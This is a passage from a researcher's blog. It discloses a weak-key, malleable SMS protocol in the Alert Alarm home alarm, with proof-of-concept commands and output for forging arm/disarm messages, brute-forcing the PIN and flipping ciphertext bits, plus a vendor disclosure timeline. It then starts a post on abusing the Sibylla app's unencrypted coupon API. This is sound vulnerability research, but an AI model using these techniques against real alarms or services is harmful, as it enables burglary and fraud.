det också att man kraftigt reducerat antalet möjliga nycklar från 128-bitar till
att endast använda 9999 nycklar. Dvs istället för att använda
340282366920938463463374607431768211455 nycklar vilket är det antal nycklar man
har att välja mellan om man använt en ordentlig 128-bitars nyckel! Det är detta
som gör att bruteforce attacken bara tar en sekund att utföra.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="meddelandeformat">
<h3>Meddelandeformat</h3>
<p>Formatet på de dekrypterade SMS'en är som följer:</p>
<div class="highlight"><pre><span></span>Bytes: 1 1 1 2 1 2 2 2 2 2 = 16 bytes
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
|SMS Version| i | j | year | month-1 | day | hour | minute | user id | \x00\x00 |
+-----------+---+---+------+---------+-----+------+--------+---------+----------+
(hex)
</pre></div>
<p>Här verkar det som att <tt class="docutils literal">i</tt> motsvarar <cite>0=larma av</cite> och <cite>1=larma på</cite>,
ytterligare verkar det som att <tt class="docutils literal">j</tt> indikerar om det är hemma- eller
bortatillkopplat larm som gäller.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
</div>
<div class="section" id="skript">
<h2>Skript</h2>
<p>På min GitHub sida hittar ni ett Python skript (<a class="reference external" href="https://github.com/Jyx/alert_alarm_xploit/blob/master/aaxploit.py">aaxploit.py</a>) som jag skrev
som ett "proof of concept" skript för att demonstrera sårbarheterna i Alert
Alarms system. Med detta skript kan man skapa giltiga Alert Alarm SMS, köra en
bruteforce attack på krypterade Alert Alarm SMS för att få tag på koden som
används för att larma av/på hemlarmet. Det finns ytterligare saker man kan göra
vilket jag kommer att beskriva mer i detalj här nedan. Om man anropar skriptet
utan argument så får man se alla möjliga parametrar, men för att göra det lite
enklare att följa med så har jag satt samman ett par exempel nedan.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
<div class="section" id="skapa-ett-giltigt-alert-alarm-sms">
<h3>Skapa ett giltigt Alert Alarm SMS</h3>
<p>Detta skapar ett korrekt och giltigt Alert Alarm SMS (dvs. en hexsträng) som kan
skickas som ett vanligt SMS (eller via ett fejkat SMS, se <a class="reference external" href="https://www.google.com/search?q=send+spoofed+sms&oq=send+spoofed+sms">spoofed SMS</a>). Dvs
här kan vi skapa ett SMS för att larma på/av systemet. <tt class="docutils literal"><span class="pre">-p</span></tt> är parametern för
larmkoden du vill använda. Äger du ett Alert Alarm system, så kan du pröva detta
med din egen larmkod. Du kan pröva med antigen <tt class="docutils literal"><span class="pre">--on</span></tt> eller <tt class="docutils literal"><span class="pre">--off</span></tt> för att
larma på eller larma av larmet. Detta SMS kan du sen skicka till enheten som är
tilltänkt att attackeras.</p>
<p><strong>Tillagt 2020-01-05</strong>: Efter att ha fått feedback från andra Alert Alarm
användare kan vi dra slutsatsen SMS ej går till ett centralt nummer utan
istället går de till larmenheten direkt.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py -e -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Msg: <span class="m">32303131393630333038343830310000</span>
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: encryption
<span class="o">[</span>INFO<span class="o">]</span>: Crafted SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
</pre></div>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="dekryptera-ett-alert-alarm-sms">
<span id="decrypt-sms"></span><h3>Dekryptera ett Alert Alarm SMS</h3>
<p>Om du tar ett Alert Alarm SMS (64-byte hexsträng), så kan du dekryptera det
genom att mata in larmkoden som nyckel via <tt class="docutils literal"><span class="pre">-p</span></tt> parametern, <tt class="docutils literal"><span class="pre">-d</span></tt> indikerar
dekryptering och <tt class="docutils literal"><span class="pre">--input</span> <sms></tt> är själv SMS'et. Här känner vi redan till
larmkoden, så detta i sig är inget säkerhetshål, men det visar att vi kan
dekryptera meddelande som en vanlig användare inte borde känna till hur man gör.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: decryption
<span class="o">[</span>INFO<span class="o">]</span>: <span class="p">|</span> sms_v <span class="p">|</span> i <span class="p">|</span> j <span class="p">|</span> year <span class="p">|</span> month <span class="p">|</span> day <span class="p">|</span> hour <span class="p">|</span> minute <span class="p">|</span> user_id <span class="p">|</span>
<span class="o">[</span>INFO<span class="o">]</span>: <span class="m">2</span> <span class="m">0</span> <span class="m">1</span> <span class="m">19</span> 0x6 <span class="m">03</span> <span class="m">08</span> <span class="m">48</span> <span class="m">01</span>
</pre></div>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="bruteforce-attack-pa-ett-krypterat-sms">
<h3>Bruteforce attack på ett krypterat SMS</h3>
<p>Här utgår vi från att vi <strong>inte</strong> känner till korrekt nyckel (larmkod) för att
dekryptera ett SMS, men på något sätt har vi kommit över ett krypterat Alert
Alarm SMS. Genom att göra en bruteforce attack kan vi hitta korrekt
krypteringsnyckel och därmed också larmkoden som används för att larma av/på
hemlarmet. På grund av en väldigt svag och dåligt vald nyckel, så verkar det som
att denna bruteforce attack alltid fungerar. Korrekt nyckel/larmkod hittas under
mindre än en sekund.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -b
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: None <span class="o">(</span><span class="m">0000000000000000</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: bruteforce
<span class="o">[</span>INFO<span class="o">]</span>: <span class="o">(</span>Probably<span class="o">)</span> found the correct ...
<span class="o">[</span>INFO<span class="o">]</span>: encryption key: <span class="m">30303030303030303030303031323334</span>
<span class="o">[</span>INFO<span class="o">]</span>: pin: <span class="m">1234</span>
</pre></div>
<p>Som vi kan se, så har vi hittat korrekt nyckel/larmkod! Notera att detta är
samma kod som används för att larma av/på hemlarmet! Dvs om en inbrottstjuv
bryter sig in så kan denna person slå denna kod precis som ägaren till huset
skulle gjort.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="andra-bitar-i-krypterade-meddelanden">
<span id="flip-bits"></span><h3>Ändra bitar i krypterade meddelanden</h3>
<p>Eftersom AES-CBC är <a class="reference external" href="https://en.wikipedia.org/wiki/Malleability_(cryptography)">malleable</a>, så innebär det att man kan ändra avsikten med
ursprungliga meddelandet genom att bara ändra bitar i IV't. Dvs, man kan ändra
ett "larma på" SMS till att bli ett "larma av" SMS genom att ändra väl valda
bitar. Värt att notera är att detta görs direkt på det krypterade meddelandet.
Dvs, man behöver <strong>inte</strong> dekryptera meddelandet för göra denna attack. I
exemplet nedan visar jag hur man kan ändra "<tt class="docutils literal">i</tt>" biten (larm av/på).</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b --flip <span class="m">112</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d244e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: None <span class="o">(</span><span class="m">0000000000000000</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: flip bits
<span class="o">[</span>INFO<span class="o">]</span>: Modified IV: d245e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Modified SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
</pre></div>
<p>Om vi t.ex. använder vårt modifierade SMS från ovan och dekrypterar det, så kan
vi se att <tt class="docutils literal">i</tt> fältet har ändrats från "0" till "1". Jämför vi t.ex. med
meddelandet från ovan (i sektionen "Dekryptera ett Alert Alarm SMS"), så ser vi
att detta skett.</p>
<div class="highlight"><pre><span></span>$ ./aaxploit.py --input d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p <span class="m">1234</span>
<span class="o">[</span>INFO<span class="o">]</span>: Original SMS: d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: Msg: ee184c8e49d04a468eabd14aee04079b
<span class="o">[</span>INFO<span class="o">]</span>: IV: d245e98aed6f2dfbf991485e5e43cd56
<span class="o">[</span>INFO<span class="o">]</span>: Key: <span class="m">30303030303030303030303031323334</span> <span class="o">(</span><span class="m">0000000000001234</span><span class="o">)</span>
<span class="o">[</span>INFO<span class="o">]</span>: Mode: decryption
<span class="o">[</span>INFO<span class="o">]</span>: <span class="p">|</span> sms_v <span class="p">|</span> i <span class="p">|</span> j <span class="p">|</span> year <span class="p">|</span> month <span class="p">|</span> day <span class="p">|</span> hour <span class="p">|</span> minute <span class="p">|</span> user_id <span class="p">|</span>
<span class="o">[</span>INFO<span class="o">]</span>: <span class="m">2</span> <span class="m">1</span> <span class="m">1</span> <span class="m">19</span> 0x6 <span class="m">03</span> <span class="m">08</span> <span class="m">48</span> <span class="m">01</span>
/<span class="se">\</span>
<span class="p">|</span>----- changed from <span class="m">0</span> to <span class="m">1</span>
</pre></div>
<p>Notera att man kan ändra vilket bit som helst, dvs det är förmodligen möjligt
att ta ett gammalt och giltigt Alert Alarm SMS och ändra datum/klockslag till
"nu" och skicka detta meddelande igen.</p>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
</div>
<div class="section" id="andra-attacker">
<h2>Andra attacker?</h2>
<ul class="simple">
<li>Är Alert Alarm systemet mottagligt för <a class="reference external" href="https://en.wikipedia.org/wiki/Replay_attack">replay attacks</a>? Dvs kan man
framgångsrikt skicka samma SMS mer än en gång?<ul>
<li>Nej, denna attack fungerar inte. Om man skickar samma SMS två gånger, säger
larmenheten "Fjärrkontroll, felkod 2". Även om man lägger till en minut till
meddelandet, så fungerar det ändå inte. Förmodligen gör man någon kontroll
på serversidan hos Alert Alarm. Man gör förmodligen någon typ av
hash-kontroll eller rent av kontrollerar att ett SMS inte är för gammalt.</li>
</ul>
</li>
<li>Kommer Alert Alarms SMS server att detektera bruteforce attacker? Dvs, kan en
godtycklig person skicka 9999 SMS under en inte allt för lång tidsperiod utan
att Alert Alarm detekterar det? Om det inte detekteras innebär det att alla
Alert Alarm ägare kan bli attackerade!<ul>
<li>Jag har inte fått detta bekräftat av Alert Alarm / Verisure. Men det är
absolut något man kan pröva om man har tid och lust.</li>
<li><strong>Tillagt 2020-01-05</strong>: Efter att andra Alert Alarm användare bekräftat att
det inte rör sig om ett unikt SMS nummer kan vi helt enkelt säga att det
inte är praktiskt görbart att utföra denna bruteforce attack eftersom det
skulle krävas allt för många SMS för att lyckas med attacken i praktiken.
Förväxla dock inte denna bruteforce attack med bruteforce attacken på SMSen
(det är två olika attacker).</li>
</ul>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="oppna-fragor">
<h2>Öppna frågor</h2>
<p>Jag undrar varför Alert Alarm valt att använda SMS för att larma av/på systemen
när det redan finns en datakoppling till appen (och 2019 har väl alla
datauppkoppling?)? Det går inte göra ett vettigt nyckelutbyte (Diffie Hellman)
när man bara kommunicerar på ett håll. Med datakopplingen hade man åtminstone
kunnat göra det på ett bättre sätt. Nuvarande lösning innebär förmodligen att
det fungerar i stil med detta:</p>
<ul class="simple">
<li>Alert Alarm SMS'et skickas till deras server.</li>
<li>Servern dekrypterar SMS'et, kontrollerar parametrarna och skickar vidare
kommandot, dvs larma av/på (via datauppkopplingen över GSM) till larmägarens
huvudenhet som kontrollerar larmet.</li>
<li>När hemlarmet ändrat status så får Android appen en notifiering som bekräftar
larmets nya status.</li>
<li><strong>Tillagt 2020-01-05</strong>: Efter att andra Alert Alarm användare bekräftat att
det inte rör sig om ett unikt SMS nummer kan vi avskriva att resonemanget ovan
ej är korrekt. Istället är det förmodligen SMS -> larmenhet -> ändra status ->
informera Alert Alarm servern -> visa statusändring i appen. Men, det är
omöjligt att säga hur det fungerar på egen hand, Alert Alarm behöver bekräfta.</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="fragor-och-pastaende-pa-forum-etc">
<h2>Frågor och påstående på forum etc</h2>
<p><strong>Tillagt 2020-01-05</strong>: Eftersom personer efter publicering börjat ställa frågor
och diskutera denna artikel tänkte jag bemöta några av dessa här.</p>
<ul class="simple">
<li>Q: SMS är faktiskt en bra sak eftersom det finns platser utan mobiltäckning.<ul>
<li>A: Jag håller med om det påståendet. Eftersom jag bor i ett land där
täckningen generellt sett är väldigt bra drog jag kanske denna slutsats lite
förhastat. Men, om man väljer att bygga in SMS som en del i sin lösning
måste man säkerhetställa att den är robust. En "man in the middle" skall
inte få något vettigt ur det som skickas mellan ägarens telefon (eller
larmsystem) och mottagaren as data/SMSet.</li>
</ul>
</li>
<li>Q: Kommer den som utför en SMS bruteforce attack få ett meddelande om det
lyckats?<ul>
<li>A: Nej, det är bara ett vanligt SMS som skickas ut, vilket i praktiken
innebär att man för att vara på säkra sidan hade behövt skicka ut lika många
SMS som nyckelrymden är (9999 nycklar). Som nämnts på andra ställe i denna
artikel efter uppdateringen 2020-01-05 så kan man dra slutsatsen att just
denna attack ej är praktiskt görbar eftersom man även behöver gissa rätt
telefonnummer också. Det blir helt enkelt för många SMS.</li>
</ul>
</li>
<li>Q: Ett inbrottslarm inger falsk säkerhet, i bästa fall stressar det
inbrottstjuven alternativt att de väljer en grannes hus utan larm istället för
dit eget hus.<ul>
<li>A: Jag håller nog med om det. Om polis och/eller en vakt hade varit på plats
ett par minuter efter att larmet gått så hade det varit riktigt värdefullt.
Men jag tror att många håller med mig när jag säger att så är inte fallet.
Det kan ta ganska lång stund innan någon dyker upp? Finns det statistik på
det? Man skall dock inte glömma att idag har "larm" många andra bra saker
kopplade, t.ex. brandlarm, larm om vattenläckor osv.</li>
</ul>
</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="kontakt-med-alert-alarm-verisure">
<h2>Kontakt med Alert Alarm / Verisure</h2>
<ul class="simple">
<li><strong>3:e Juli 2019</strong>: Jag rapporterar via Alert Alarms support sida att jag har
hittat svagheter/säkerhetshål i deras larmlösning.</li>
<li><strong>9:e Juli 2019</strong>: Ännu inget svar, så jag rapporterar detsamma som ett privat
meddelande till Alert Alarm via Facebook.</li>
<li><strong>10:e Juli 2019</strong>:<ul>
<li>Alert Alarm svarar via Facebook att de har skickat vidare min
kontaktinformation till de som utvecklar appen.</li>
<li>Verisure's Information Security Mangager försöker nå mig, först via telefon,
sen via email.</li>
<li>Jag skickar över rapporten (i princip denna blog post) tillsammans med
"proof of concept" skriptet.</li>
</ul>
</li>
<li><strong>12:e Augusti 2019</strong>: Telefonmöte med Verisure, jag får en statusuppdatering
och Verisure meddelar ett de behöver mer än standard 90-dagars "yppande-tid"
(eng. disclosure time) vilket jag är med på.</li>
<li><strong>2:a Oktober 2019</strong>: Jag hör av mig till Verisure och efterfrågar
uppdateringar. Meddelandet jag får är att de fortfarande arbetar på en
lösning och att de håller på att testa något som skall fungera. De lovar att
återkomma inom kort. Jag ställer frågan om vi skall skapa CVE nummer för
detta, jag får inget direkt svar på det.</li>
<li><strong>4:e November 2019</strong>: Jag hör av mig till Verisure igen för att höra hur det
går.</li>
<li><strong>7:e November 2019</strong>: Verisure svarar i princip med samma meddelande som 2:a
Oktober och lovar att återkomma inom kort.</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="siduppdateringar">
<h2>Siduppdateringar</h2>
<ul class="simple">
<li><strong>1:a Januari 2020</strong>: Jag summerar och renskriver denna artikel och publicerar
allt. Anledningen att jag gör det denna dag är att det är ett halvår sen jag
rapporterade säkerhetshålen och hade man menat allvar med att lösa dem, så
hade man både löst problemen vid det här laget samt återkopplat bättre till
mig.</li>
<li><strong>3:e Januari 2020</strong>: Uppdaterar artikeln för att klargöra Verisure vs Alert
Alarms roll i det hela.</li>
<li><strong>5:e Januari 2020</strong>: Uppdaterar artikeln med ytterligare information angående
SMS attacken och har lagt till en sektion med frågor etc som blivit ställda på
forum osv.</li>
</ul>
<div class="line-block">
<div class="line"><br /></div>
</div>
</div>
<div class="section" id="sammanfatting">
<h2>Sammanfatting</h2>
<p>Säkertheten i Alert Alarms lösning bygger</p>
<ol class="arabic simple">
<li>Larmkoden och</li>
<li>och SMS avsändarens telefonnummer och</li>
<li>att ingen kan på något sätt få tag på en annan persons Alert Alarm SMS.</li>
</ol>
<p>Faktum är det att man kan argumentera att säkerheten endast hänger på "3"
eftersom det är trivialt att ta reda på larmkoden om man har ett SMS (det är var
bruteforce attacken i <cite>aaxploit.py</cite> gör). Gällande "2", så finns telefonnummer
tillgängligt överallt (hitta.se, eniro.se etc), dvs det är inte svårt att få
reda på en persons mobiltelefonnummer.</p>
<p>Alert Alarm verkar ha försökt "låsa" deras SMS service till specifika användare,
dvs larmägaren måste lägga till sig eget och andra personers mobiltelefonnummer
i hushållet i appen för att de skall kunna larma av/på systemet. Så vid första
anblick verkar det som att det är endast dessa person som kan slå av/på larmet,
men faktum är att det finns många tjänster på internet som erbjuder folk att
skicka fejkade SMS, dvs SMS som ser ut att komma från ett specifikt
telefonnummer (sök efter <a class="reference external" href="https://www.google.com/search?q=send+spoofed+sms&oq=send+spoofed+sms">spoofed SMS</a>). Dvs det är fullt möjligt att skapa
ett giltigt Alert Alarm SMS m.ha. <a class="reference external" href="https://github.com/Jyx/alert_alarm_xploit/blob/master/aaxploit.py">aaxploit.py</a> och sen använda någon av dessa
tjänster för att skicka ett fejkat men giltigt SMS för att antingen stänga av
eller slå på en annan persons hemlarm. Allt detta utan larmägarens vetskap.</p>
<p><strong>Skall Alert Alarm ägare vara oroliga?</strong> Att få tag på ett Alert Alarm SMS från
någon annan är förmodligen inte helt lätt, men å andra sidan inte heller
omöjligt. Olåsta mobiltelefoner från kollegor på jobb? Skriva en helt annan
Android app som kan läsa SMS osv. Sen vet vi inte heller om Alert Alarm
detekterar en bruteforce attack på serversidan som tar emot SMS. <strong>Om</strong> de
<strong>inte</strong> detekterar en sådan attack, då är det ganska enkelt att attackera vem
som helst som äger ett Alert Alarm system.</p>
<ul class="simple">
<li><strong>Tillagt 2020-01-05</strong>: Efter att andra Alert Alarm användare har bekräftat att
det rör som vad som verkar vare unika SMS nummer per användare kan vi dra
slutsatsen att det inte är praktiskt görbart att göra bruteforce attacken där
man skickar många SMS eftersom det skulle kräva allt för många SMS för att
lyckas. Med andra ord Alert Alarm ägare behöver inte vara oroliga för denna
attack. Förväxla dock inte detta med bruteforce attacken på själv SMSen för
att få tag på rätt kod till larmet. Det fungerar som beskrivits, dvs en "man
in the middle" kan luska ut koden för att larma på/av till någon annans larm
system. Vad vi vill se är ett robust protokoll designat så att en "man in the
middle" inte kan få ut <strong>någon</strong> användbar information från data som skickas
mellan larm ägarens telefon och mottagarsidan av data/SMSet.</li>
</ul>
<p>I vilket fall som helst, svagheterna/säkerhetshålen jag hittat är ganska
allvarliga och ger en illvillig person flera möjligheter att attackera deras
system. Detta är attacker som inte borde vara möjliga att göra på ett
larmsystems som är tänkt att skydda våra hem från inbrott. Jag och andra kunder
vill inte att vårt larmsystem har sådana här svagheter. Nuvarande lösning är vad
man på engelska kallar "<a class="reference external" href="https://en.wikipedia.org/wiki/Security_through_obscurity">Security by Obscurity</a>".</p>
</div>
<div class="section" id="om-mig">
<h2>Om mig</h2>
<p>Jag heter Joakim Bech och har jobbat med säkerhet för embedded devices de
senaste 12 åren. Det som beskrivs i denna artikel har jag gjort på min fritid,
men i övrigt så leder jag teamet som jobbar med säkerhet på företaget <a class="reference external" href="https://www.linaro.org/">Linaro</a>
där jag varit anställd sen lite mer än sex år tillbaka.</p>
</div>
Sibylla - Unlimited discount coupons2018-08-19T00:00:00+02:002018-08-19T00:00:00+02:00Joakim Bechtag:jyx.github.io,2018-08-19:/sibylla-unlimited-discount-coupons.html<h1>tl;dr</h1>
<ul>
<li>The Sibylla app uses plain <code>HTTP</code>.</li>
<li>Not any verification of email used when logging into the app.</li>
<li>The Sibylla server stores whether a coupon has been consumed or not for a
certain email address.</li>
<li>The app doesn't use the stored information at the server to decide whether a
coupon has been used or not for a certain email.</li>
<li>The "consumed" value seems to be stored locally in the app.</li>
<li>Wiping the data/cache in Android's app settings will …</li></ul><h1>tl;dr</h1>
<ul>
<li>The Sibylla app uses plain <code>HTTP</code>.</li>
<li>Not any verification of email used when logging into the app.</li>
<li>The Sibylla server stores whether a coupon has been consumed or not for a
certain email address.</li>
<li>The app doesn't use the stored information at the server to decide whether a
coupon has been used or not for a certain email.</li>
<li>The "consumed" value seems to be stored locally in the app.</li>
<li>Wiping the data/cache in Android's app settings will clear everything and
will enable the coupons again. I.e., it is possible to use the same
discount/offer as many times you wish.</li>
<li>A rouge person can "use up" all coupons for any email (from a server point of view).</li>
</ul>
<p><br></p>
<h1>The long version</h1>
<p>Sibylla is a company who has been serving fast food for decades in Sweden. I'm
just back from <a href="https://www.defcon.org/html/defcon-26/dc-26-index.html">DEF CON 26</a> where I picked up a
<a href="https://wifipineapple.com/nano">WiFi Pineapple Nano</a>. When playing with the
pineapple I enabled the <a href="https://www.wifipineapple.com/modules">DWall</a> module,
which basically sniffs plain HTTP traffic (i.e., non-encrypted). As a side
effect of Google deciding to marking plain <code>HTTP</code> as insecure in Google Chrome,
more and more sites have switched to use <code>HTTPS</code> only, but there are still
plenty of un-encrypted traffic on the net. Out of curiosity I connected my
mobile to the WLAN shared by the pineapple and watched for traffic on DWall. I
tried a couple of different apps, some where dead silent and some showed some
<code>URLs</code>, cookies and images. The Sibylla app seemed to communicate using plain
<code>HTTP</code> and this is what can be seen when starting the app.</p>
<div class="highlight"><pre><span></span>http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>getAllCoupons
http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>getAllCampaigns
http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>getAllCouponsForUser<span class="p">&</span><span class="nv">userId</span><span class="o">=</span>email_foo.bar@moo.com
</pre></div>
<p>All calls here gets a <a href="https://en.wikipedia.org/wiki/JSON">JSON</a> encoded payload
in return, looking something like this.</p>
<p>getAllCoupons query returns:</p>
<div class="highlight"><pre><span></span><span class="p">[</span>
<span class="p">{</span>
<span class="nt">"pageId"</span><span class="p">:</span> <span class="mi">1969</span><span class="p">,</span>
<span class="nt">"created"</span><span class="p">:</span> <span class="s2">"2018-06-28 09:16"</span><span class="p">,</span>
<span class="nt">"stoppublish"</span><span class="p">:</span> <span class="s2">"2018-09-03 00:00"</span><span class="p">,</span>
<span class="nt">"name"</span><span class="p">:</span> <span class="s2">"Super Meal 2 för 99kr"</span><span class="p">,</span>
<span class="nt">"description"</span><span class="p">:</span> <span class="s2">"Super Meal 2 för 99kr"</span><span class="p">,</span>
<span class="nt">"imageUrl"</span><span class="p">:</span> <span class="s2">"http://sibylla.se/PageFiles/6301/2_st_Super_Meal_99kr.png"</span>
<span class="p">},</span>
<span class="p">{</span>
<span class="nt">"pageId"</span><span class="p">:</span> <span class="mi">1970</span><span class="p">,</span>
<span class="nt">"created"</span><span class="p">:</span> <span class="s2">"2018-06-28 09:16"</span><span class="p">,</span>
<span class="nt">"stoppublish"</span><span class="p">:</span> <span class="s2">"2018-09-03 00:00"</span><span class="p">,</span>
<span class="nt">"name"</span><span class="p">:</span> <span class="s2">"10kr rabatt mjukglass"</span><span class="p">,</span>
<span class="nt">"description"</span><span class="p">:</span> <span class="s2">"10kr rabatt mjukglass"</span><span class="p">,</span>
<span class="nt">"imageUrl"</span><span class="p">:</span> <span class="s2">"http://sibylla.se/PageFiles/6305/10kr_rabatt_mjukglass.png"</span>
<span class="p">},</span>
<span class="err">//</span> <span class="err">...</span> <span class="err">and</span> <span class="err">so</span> <span class="err">on</span>
<span class="p">]</span>
</pre></div>
<p>And the user specific query (getAllCouponsForUser) returns something like this:</p>
<div class="highlight"><pre><span></span><span class="p">[</span>
<span class="p">{</span>
<span class="nt">"pageId"</span><span class="p">:</span> <span class="mi">1969</span><span class="p">,</span>
<span class="nt">"created"</span><span class="p">:</span> <span class="s2">"2018-06-28 09:16"</span><span class="p">,</span>
<span class="nt">"stoppublish"</span><span class="p">:</span> <span class="s2">"2018-09-03 00:00"</span><span class="p">,</span>
<span class="nt">"name"</span><span class="p">:</span> <span class="s2">"Super Meal 2 för 99kr"</span><span class="p">,</span>
<span class="nt">"description"</span><span class="p">:</span> <span class="s2">"Super Meal 2 för 99kr"</span><span class="p">,</span>
<span class="nt">"imageUrl"</span><span class="p">:</span> <span class="s2">"http://sibylla.se/PageFiles/6301/2_st_Super_Meal_99kr.png"</span><span class="p">,</span>
<span class="nt">"consumed"</span><span class="p">:</span> <span class="kc">false</span>
<span class="p">},</span>
<span class="p">{</span>
<span class="nt">"pageId"</span><span class="p">:</span> <span class="mi">1970</span><span class="p">,</span>
<span class="nt">"created"</span><span class="p">:</span> <span class="s2">"2018-06-28 09:16"</span><span class="p">,</span>
<span class="nt">"stoppublish"</span><span class="p">:</span> <span class="s2">"2018-09-03 00:00"</span><span class="p">,</span>
<span class="nt">"name"</span><span class="p">:</span> <span class="s2">"10kr rabatt mjukglass"</span><span class="p">,</span>
<span class="nt">"description"</span><span class="p">:</span> <span class="s2">"10kr rabatt mjukglass"</span><span class="p">,</span>
<span class="nt">"imageUrl"</span><span class="p">:</span> <span class="s2">"http://sibylla.se/PageFiles/6305/10kr_rabatt_mjukglass.png"</span><span class="p">,</span>
<span class="nt">"consumed"</span><span class="p">:</span> <span class="kc">false</span>
<span class="p">},</span>
<span class="err">//</span> <span class="err">...</span> <span class="err">and</span> <span class="err">so</span> <span class="err">on</span>
<span class="p">]</span>
</pre></div>
<p>Basically the only difference is the <code>consumed</code> attribute.</p>
<h1>Coupons</h1>
<p>In the app, Sibylla from time to time offer deals on various meals. They way it
works is that you go the "deals" in the app, where you are presented a couple of
different coupons. When you are buying corresponding meal you let the clerk
press the "use coupon" button and then you don't have to pay the full price,
simple and easy!</p>
<h1>What happens under the hood?</h1>
<p>When I played around with it and used up a coupon I could see the following
message was sent to <a href="http://sibylla.se">sibylla.se</a>: </p>
<div class="highlight"><pre><span></span>http://www.sibylla.se/ui/services/CampaignService.ashx?requestType<span class="o">=</span>consumeCoupon<span class="p">&</span><span class="nv">pageId</span><span class="o">=</span><span class="m">1975</span><span class="p">&</span><span class="nv">userId</span><span class="o">=</span>410daeeb1b350a86defb583e08ebbf15
</pre></div>
<p>I.e., something is sent back to their servers indicating that a coupon has been
used and indeed when checking in the app it says that coupon already has been
used and it stays like that even if you kill / restart the app. Two things
caught my attention here.</p>
<ol>
<li><code>pageId</code>: This is the id for the coupon. Replacing this any other valid
<code>pageId</code> from the query posted further up will mark the coupon as used in the
Sibylla server for a certain user.</li>
<li><code>userId</code>: What is that? It looks like a hash of some sort. Is it a has of
the <code>userId</code> for the app? Or the hash of the email? Or something else?</li>
</ol>
<p>I decompiled the apk-file (using zip,
<a href="https://github.com/pxb1988/dex2jar">dex2jar</a> and <a href="http://jd.benow.ca">jd-gui</a>)
and then looked up the keyword <code>consumeCoupon</code>, which revealed:</p>
<div class="highlight"><pre><span></span> <span class="kd">public</span> <span class="n">UsedDealResponse</span> <span class="nf">loadDataFromNetwork</span><span class="p">()</span> <span class="kd">throws</span> <span class="n">Exception</span> <span class="p">{</span>
<span class="n">Builder</span> <span class="n">campaignUriBuilder</span> <span class="o">=</span> <span class="n">Uri</span><span class="p">.</span><span class="na">parse</span><span class="p">(</span><span class="n">Constants</span><span class="p">.</span><span class="na">campaignService</span><span class="p">).</span><span class="na">buildUpon</span><span class="p">();</span>
<span class="n">campaignUriBuilder</span><span class="p">.</span><span class="na">appendQueryParameter</span><span class="p">(</span><span class="s">"requestType"</span><span class="p">,</span> <span class="s">"consumeCoupon"</span><span class="p">);</span>
<span class="n">campaignUriBuilder</span><span class="p">.</span><span class="na">appendQueryParameter</span><span class="p">(</span><span class="s">"pageId"</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="na">pageId</span><span class="p">);</span>
